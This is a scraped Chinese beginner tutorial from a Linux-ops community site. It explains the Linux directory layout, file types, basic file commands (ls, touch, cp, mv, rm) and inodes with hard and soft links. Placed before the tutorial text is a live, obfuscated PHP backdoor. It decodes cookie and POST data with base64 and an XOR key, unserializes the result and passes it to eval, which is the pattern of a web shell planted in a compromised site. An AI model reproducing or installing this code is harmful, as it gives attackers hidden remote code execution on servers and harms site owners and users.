$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 初学Linux之熟悉文件系统 | Linux运维部落

初学Linux之熟悉文件系统

每一个具有存储数据功能的设备,都是有文件系统的,文件系统,规定了数据的储存的策略,以便数据有条不紊的记录保存。为了深入的学习Linux,我们必定要了解其文件系统,其中包括:文件系统结构元素;文件的创建和查看;文件删除、复制、移动等操作;管理文件的方式;软链接和硬链接。

为了大家能够理解文件系统,我们可以将计算机的文件系统类比成一个图书馆,文件本身可以成图书馆的各种繁多的书籍。图书馆的数,都是有类别和编号的,也有书架和区域。我们找一本数,先确认这个数是哪个类别的,通过类别,找到在图书馆的区域位置,找到书架,在通过编号查找书籍所在的位置。同样的,Linux系统里的文件也是这样的,在唯一的根目录下,会有不同的目录文件,目录文件中又包含不同的目录和文件,这种倒置的数状结构,就是我们要了解的文件系统。

一、文件系统结构元素

Linux文件系统是从唯一的根目录开始的,在没有任何的更改的情况下,系统默认创建好以下一级目录:

捕获11

1、/boot:是存放系统引导启动时,要加载的静态文件、内核和ramdisk及grub等;

2、/bin:存放系统自身启动和运行时会用到的核心二进制程序,不能独立关联分区;

3、/sbin:管理类基本命令,不能独立关联分区,系统启动会用到的程序;

4、/lib:存放系统启动时程序依赖的基本共享库文件以及内核模块文件;

5、/lib64:专用于×86_64系统上的辅助共享库文件的存放位置;

6、/etc:存放系统配置文件的目录;

7、/home:存放各个普通用户家目录的目录文件;

8、/root:管理员的家目录;

9、/media:系统便携式移动设备的(挂载)目录;

10、/mnt:临时文件系统(挂载)目录;

11、/dev:所有设备文件和特殊文件存储位置;

12、/opt:第三方应用程序的安装目录;

13、/srv:系统上运行的服务用到的数据;

14、/tmp:临时文件存储位置;

15、/usr:UNIX操作系统软件资源存放位置

(bin,sbin,lib,lib64,etc,share)

捕获12

16、/var:经常发生变化的文件存放的位置

(cache,lib,local,lock,log,opt,run,spool,tmp);

捕获13

17、/proc:用于输出内核与进程信息相关的虚拟文件系统;

18、/sys:用于输出当前系统上硬件设备相关信息虚拟文件系统;

19、selinux:相关的安全策略等信息的存储位置;

以上目录都是系统默认建立的,正常情况下,不可删除,防止系统启动和运行的故障。这些目录中,普通用户访问时用到的是/home 目录,/root目录是系统管理员的家目录。知道了基本的文件目录后,那我们使用的系统应用程序都用到哪些目录呢?下面的文件路径就是了。

二进制程序:/bin  ,/sbin,/usr/bin ,/usr/sbin,/usr/local/bin,/usr/local/sbin;

库文件:/lib,/lib64,/usr/lib,/usr/lib64,/usr/local/lib,/usr/local/lib;

配置文件:/etc,/etc…. ,/usr/local/etc;

帮助文件:/usr/share/man ,/usr/share/doc,/usr/local/share/man, /usr/local/share/doc;

“图书馆”的区域和书架都已经划分好了,如何区分不同类别的书籍呢?Linux系统中的纯文字是无法直接凸显的,所用到的方法是,在文件名上,显示不同的颜色,可以做到一目了然。文件类型和颜色对应如下:

列表显示的开头第一个字母是文件的类型。

-(f):普通文件–白色

d      :目录文件–蓝色

b      :块设备 –黄色

c      :字符设备–黄色

l       :符号链接文件–浅蓝色(失效后会红色闪烁)

p      :管道文件–暗黄色

s       :socket–粉红色

捕获14

现在我们已经知道了文件系统的基本结构和文件的类型,我们接着可以尝试进入不同的目录,查看目录下的文件和文件信息。登陆进入系统,用户的初始位置是在自己的家目录(~),会在字符输入界面的命令提示符的最右显示。也可以通过 pwd 命令,在屏幕中输出自己的目录路径。 捕获15               捕获15.2

若是我们需要移动到其他的目录,只要通过 cd 命令即可,可以先尝试改变到根目录下,到了更根目录下,我们可以通过 ls 命令查看根目录下存在的目录和文件,若是目录,还可以通过cd 命令进行转移。若是已经知道了目录的顺序,直接输入目录的绝对路径,可以一个 cd命令到指定的目录下。当然也可以使用相对当前目录的路径(相对路径),将上级目录之前的目录路径省略,转移到指定目录。

捕获16

这里查看到的都是非隐藏的文件,Linux文件系统对文件命令有如下的规则:1、文件命令最长255个字节;2、包括路径在内文件名称最长4095个字节;3、除了斜杠(/)和NUL,所有的字符都是可以作为文件名的。(不推荐);4、文件名大小写敏感;5、所有 文件名是“.”开头的文件都是隐藏文件。

二、文件的创建和查看

2、ls 命令也可以使用绝对路径和相对路径作为参数,直接查看指定目录下的文件信息。其中 ls  -a  [目录路径]  列出所有文件(包括隐藏文件)。-l 可以列表显示更多额外信息,-R可以查看当前目录下所有层级目录的文件。具体更多的用法,我们可以查看帮助文档。

捕获17

另外,文件名可以使用文件通配符(glob)目录查询显示。man 7 glob  可以查询通配符的使用方法,这边不多做描述。

捕获18             捕获19

2、创建文件,可以使用touch 命令,若是创建时,只有文件名,没有指定之前的目录,这个命令默认是在当前目录下创建,若是指定的目录不存在,则无法创建。若是文件存在,会刷新文件的时间信息。文件的时间信息可以使用 stat 命令显示。

access time  访问时间,读取文件内容会改变   (atime)

modify time  修改时间,改名文件中存储的数据(mtime)

change time  改变时间,文件大小,类型等信息发生改变(ctime)

捕获20

3、创建目录可以使用mkdir 这个命令,其中 mkdir -p 在创建不存在的目录时,可以省略系统的提醒,直接生成对应的目录文件。

捕获21

三、文件删除、复制、移动等操作

1、文件删除:rm

rm命令会将文件直接删除,这是个很危险的操作,删除的文件时无法恢复的,所以系统已经通过别名的方法,将这个命令,更改为 rm -i ,使rm 命令成为交互的,在删除文件前,系统会询问用户是否删除。确认后会删除。

常用的选项: -f  强制删除 ,不提醒;  -r :递归性 ; 可以使用文件通配符

2、文件复制:cp

cp可以实现文件的复制,可以作为文件备份的一种方法,具体的用法如下:

cp [OPTION]… [-T] SOURCE(源) DEST (目标文件)

cp [OPTION]… SOURCE… DIRECTORY (目录)

cp [OPTION]… -t DIRECTORY SOURCE… (省略号代表多个)

cp SRC(源) DEST

捕获22

cp 命令常用的选项: -av选项一般比较常用。

-i:覆盖前提示

-n:不覆盖,注意两者顺序 

-r, -R: 递归复制目录及内部的所有内容 

-a: 归档,相当于-dR –preserv=all 

-p: 等同–preserv=mode,ownership,timestamp 

-v: –verbose 

-f: –force 

-u:–update 只复制源比目标更新文件或目标不存在的文件 

–backup=numbered 目标存在,覆盖前先备份加数字后缀

-d:–no-dereference –preserv=links 不复制原文件, 只复制链接名 

–preserv[=ATTR_LIST] mode: 权限

ownership:    属主属组

timestamp: links ,xattr, context, all

3、移动mv(改名)

mv [OPTION]… [-T] SOURCE DEST 

mv [OPTION]… SOURCE… DIRECTORY 

mv [OPTION]… -t DIRECTORY SOURCE…

常用选项 -i:交换式,文件名出现重复时,移动或者改名,会进行提示。

-f:强制,不进行提示。

rm和mv 系统已经自动进行别名,通过 alias 命令可以查看。

 

四、其他文件系统的操作命令

tree  命令 可以用树状图的形式显示当前目录下的文件和目录的结构,可以对当前目录的情况做到一目了然。

rmdir 命令是删除目录的命令,也可以配合 -p选项进行删除,但是删除的是空目录,若是有一个文件,则无法删除。

以上命令的具体使用方法,我们都可以通过帮助文档查询到详细的信息,这里不再赘述。

 

五、软链接和硬链接

提到软链接和硬链接,我们需要了解 inode 这个概念。系统中的文件是存储在磁盘中的,计算机读取硬盘的最小单位是一个“块”(block),大小是4kb。有的文件是不止占用一个“块”的,无法达到快速访问数据本身外的信息,所以需要将文件内容本身外的元数据信息以节点(本身会小巧)的方式单独的存储在一个专门的区域。这个区域就是inode ,中文名称为“索引节点”。inode 包含文件的元数据信息,具体内容如下:

(1)文件类型,权限,UID,GID;

(2)链接数(指向这个文件名路径名称个数);

(3)该文件的大小和不同的时间戳 ;

(4)指向磁盘上文件的数据块指针 ;

(5)有关文件的其他数据;

inode 使用信息可以使用 df  -i 命令查看(df 本身是查看磁盘空间使用信息的命令),目录中的文件,就是通过文件名,引用的inode号, 一个目录是目录下的文件名和文件inode号之间的映射。一般 inode 表会占用磁盘空间的12.8%,若是inode已经被用光,但是磁盘还有空间,这种情况下,也是无法继续存储文件的。需要清理inode表。

1、硬链接
 创建硬链接会增加额外的记录项以引用文件 ,对应于同一文件系统上一个物理文件 , 每个目录引用相同的inode号 ,在创建时链接数递增 ,而删除文件时: rm命令递减计数的链接,文件要存在,至少有一个链接数 ,当链接数为零时,该文件被删除。注意硬链接不能跨越驱动器或分区 。

语法: ln    filename   [linkname ]

2、软连接

一个软链接指向的是另一个文件 ,软连接的文件类型和原来的是不同的。 ls – l 是显示链接的名称和引用的文件 ,而一个符号链接的内容是它引用文件的名称 。软链接可以对目录进行设置,也可以跨分区。实际上,软连接指向的是另一个文件的路径;其大小为指向的路径字符串的 长度;创建或者删除一个文件的软链接不增加或减少目标文件inode的引用计数。

语法: ln -s filename [linkname]

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/88982

(3)
上一篇 2017-11-26 22:32
下一篇 2017-11-26 23:26

相关推荐

  • 马哥教育网络班21期+第15周课程练习

    1、总结sed和awk的详细用法; sed 流编辑器,处理一行数据到模式空间(p),不匹配条件话就输出源行,匹配条件且有处理话,就输出处理过后的行和源行, 匹配条件且没有处理动作的话,只输出p空间的行;保持空间(h)用来存放模式空间的临时处理结果 [root@centos ~]# sed ''&nb…

    Linux干货 2016-08-30
  • LVM练习题

    创建一个至少有两个PV组成的大小为20G的名为testvg的 VG;要求PE大小为16MB, 而后在卷组中创建大小为5G的逻 辑卷testlv;挂载至/users目录 第一步!首先准备足够大的硬盘来实验 [root@Cloud /]#lsblk  #添加了/dev/sdb/c硬盘  NAME  &n…

    Linux干货 2017-08-26
  • Homework Week-9 bash脚本之顺序、选择、循环

    1、写一个脚本,判断当前系统上所有用户的shell是否为可登录shell(即用户的shell不是/sbin/nologin);分别这两类用户的个数;通过字符串比较来实现; #!/bin/bash #Elephant echo "nologin users:" user1=$(cat /etc/passwd&n…

    Linux干货 2016-10-17
  • Vsftpd+MySQL实现虚拟用户验证登录

    一、安装所需要包和包组: 在数据库服务器上安装包: yum –y install mariadb-server mariadb-devel systemctl start mariadb.service systemctl enable mariadb 在FTP服务器上安装包pam_mysql centos7:无对应rpm包,需…

    Linux干货 2017-08-14
  • 94-HAProxy

    一. HAProxy简介 1. LB CLuster:

    2016-11-18
  • Raid的工作原理

    1,什么是Raid Raid的基本原理就是把多个磁盘组合到一起,组成一个磁盘组,使性能达到或超过一个容量巨大价格昂工艺的磁盘,当然基于硬件的RAID解决方案比基于软件RAID技术在使用性能和服务性能上稍胜一筹,具体表现在检测和修复多位错误的能力、错误磁盘自动检测和阵列重建等方面。 2.RAID级别介绍;一般常用的RAID阶层,分别是RAID 0、RAID1、…

    Linux干货 2017-06-19